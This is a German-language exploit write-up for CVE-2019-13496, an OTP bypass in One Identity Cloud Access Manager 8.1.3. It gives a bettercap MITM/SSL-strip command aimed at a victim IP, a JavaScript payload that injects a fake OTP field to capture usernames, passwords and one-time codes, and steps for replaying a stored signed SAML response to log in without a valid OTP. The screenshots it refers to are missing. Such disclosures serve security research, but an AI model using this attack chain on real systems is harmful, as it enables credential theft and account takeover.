CVE-2019-13496
Exploit-Titel: OTP-Bypass (fehlgeschlagene Integritätsprüfung)
Datum: 07/10/2019
Exploit-Autor: Furqan Khan
Hersteller-Homepage: https://www.oneidentity.com/
Software-Link: https://www.oneidentity.com/products/cloud-access-manager/
Version: 8.1.3
Getestet auf: Kali Linux, Windows 7, Ubuntu 16.04
Um die OTP-Bypass-Schwachstelle auszunutzen, greift ein Angreifer auf eine zuvor entdeckte Schwachstelle für MITM/SSL-Strip zurück: CVE-2019-13498 , CVE-2019-13498 . Ein Angreifer führt einen MITM-/SSL-Strip-Angriff durch, mit dessen Hilfe er ein OTP-Textfeld in die Webseite injizieren kann, die dem Opfer ausgeliefert wird. Ein Opfer gibt seinen Benutzernamen, sein Passwort und das von einer App namens „defender“ (die demselben Hersteller gehört) erzeugte OTP preis. Der Angreifer fängt Benutzername, Passwort und OTP ab und versucht anschließend, über einen legitimen Workflow auf die Anwendung zuzugreifen. Nachdem er Benutzername und Passwort (die gestohlen wurden) eingegeben hat, gibt der Angreifer das gestohlene OTP auf der nächsten Seite ein. Beim Absenden der Anfrage auf der OTP-Seite wird die signierte SAML-Antwort gespeichert. Selbst wenn der Angreifer keinen Zugriff auf die App hat, die das OTP erzeugt, kann er für aufeinanderfolgende Transaktionen ein ungültiges OTP eingeben. Während die Anwendung das OTP für ungültig erklärt, kann der Angreifer die fehlgeschlagene SAML-Antwort durch die zuvor erhaltene legitime SAML-Antwort ersetzen. Die Anwendung führt jedoch keine Integritätsprüfung durch und meldet den Angreifer an.
(1) Der erste Schritt des Angriffs besteht darin, einen MITM/SSL-Strip durchzuführen, der unter CVE-2019-13498 dokumentiert und wie folgt beschrieben ist:
Der verwendete bettercap-Befehl lautet:
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

Hierbei ist 192.168.1.103 die IP-Adresse des Opfers. Falls wir sie nicht kennen, können wir bettercap verwenden, um den Inhalt des gesamten LAN (gemeinsames Netzwerk von Angreifer und Opfer) zu überwachen und zu manipulieren.
Der Inhalt von inject_js.js ist wie folgt angegeben:
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
Wenn das Opfer nun das Produkt (Cloud Access Manager) aufruft, wird aufgrund von Cache-Poisoning und SSL-Strip (Bettercap) über das injizierte JavaScript-Snippet ein OTP-Textfeld in die Seite eingefügt, die dem Opfer ausgeliefert wird.

Da die Verbindung per SSL-Strip auf HTTP herabgestuft wird, ist der gesamte Datenverkehr nun für den Angreifer sichtbar. Somit können wir den Datenverkehr abfangen und den vom Opfer übermittelten Benutzernamen, das Passwort und das OTP einsehen.

Nun nehmen wir an, dass wir uns einmal mit den gespeicherten Anmeldedaten angemeldet und alle gültigen Anfragen und Antworten gespeichert haben.
In diesem Abschnitt lernen wir, wie wir die zuvor gespeicherte OTP-Antwort nutzen können, um die OTP-Validierung zu umgehen, was uns zur Anmeldung an der Anwendung führt.
Geben wir ein ungültiges OTP ein, wie unten gezeigt:

Unten gezeigt ist die Antwort, die die OTP-Validierung nicht besteht.

Ersetzen Sie die fehlgeschlagene Antwort durch die zuvor gespeicherte legitime Antwort.

Unten gezeigt ist die SAML-Antwort, die die OTP-Validierung nicht besteht.

Ersetzen Sie die fehlgeschlagene Antwort durch die zuvor gespeicherte legitime SAML-Antwort.

Bingo, die Anwendung meldet uns an. Im Idealfall hätte sie eine Integritätsprüfung durchführen und berücksichtigen müssen, dass das OTP abgelaufen ist.

Bingo! Das war einfach!